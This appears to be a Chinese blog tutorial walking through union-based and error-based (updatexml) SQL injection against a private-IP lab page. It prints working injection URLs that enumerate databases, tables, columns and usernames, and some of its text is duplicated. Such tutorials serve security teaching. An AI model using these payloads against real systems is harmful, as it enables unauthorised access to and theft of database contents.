联合查询注入与报错注入案例解析

联合查询注入与报错注入案例解析

SQL注入攻击流程

  1. 判断应用程序是否存在注入漏洞
  2. 收集信息、并判断数据库类型
  3. 根据注入参数类型,重构SQL语句的原貌
  4. 猜解表名、字段名
  5. 获取账户信息、攻击web或者下一步攻击做准备

本质:用户输入的数据被当作SQL代码执行

Mysql与SQL注入相关的知识

在这里插入图片描述

联合查询注入

union联合、合并:将多条查询语句结合并成一个结果。

1.判断是否存在注入点,从而判断是什么类型的注入(整形,字符型)

http://192.168.43.61/web/sql/union.php?id=1

​ 1’ 异常
​ 1 and 1=1 返回结果和 id=1 一样
​ 1 and 1=2 异常
​ 从而一定存在sql注入,为整型注入

2.order by 1-99 语句查询该数据表的字段数量

http://192.168.43.61/web/sql/union.php?id=1 order by 7

​ 返回报错从而判读字段数为:6

​ 返回报错从而判读字段数为:6

3.利用获得的列数使用联合查询,union select 与前面的字段数一样,找到数据呈现的位置

http://192.168.43.61/web/sql/union.php?id=-1 union select 1,2,3,4,5,6

​ 可以判断出输出字段为2和4

4.根据显示内容确定查询语句的位置,利用information_schema依次进行查询schemata

查看数据库和用户:

http://192.168.43.61/web/sql/union.php?id=-1 union select 1,database(),3,user(),5,6

爆表名:

http://192.168.43.61/web/sql/union.php?id=-1 union select 1,(select table_name from information_schema.columns where table_schema='test' limit 0,1),3,4,5,6

爆字段名:

http://192.168.43.61/web/sql/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),3,4,5,6

爆数据:

http://192.168.43.61/web/sql/union.php?id=-1 union select 1,(select username from users limit 0,1),3,4,5,6

报错注入

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete 都可以使用报错来获取信息。

• 常用的爆错函数:

updatexml(),extractvalue(),floor() ,exp()

报错注入案例:

  1. 注入点探测:
http://192.168.43.61/web/sql/error.php?username=a'

页面出现报错信息,字符型

  1. 利用updatexml()获取库名:
http://192.168.43.61/web/sql/error.php?username=a' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

3.利用updatexml()函数获取表名:(group_concat()函数,可能显示不完全,不建议使用)

http://192.168.43.61/web/sql/error.php?username=a' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test'),0x7e),1)--+

4.利用updatexml()函数获取字段名:

http://192.168.43.61/web/sql/error.php?username=a' and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema='test' and table_name='users'),0x7e),1)--+

​ 在报错注入页面中,去GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,则输出ok;如果出错,则通过echo mysqli_error($con)将错误信息输出到页面。
输入username=a’ 时,SQL语句为select * from users where ‘username’ = ‘a’‘。执行时因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()等函数将要查询的内容输出到页面上。SQL语句为select * from users where ‘username’ = ‘a’’。执行时因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()等函数将要查询的内容输出到页面上。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值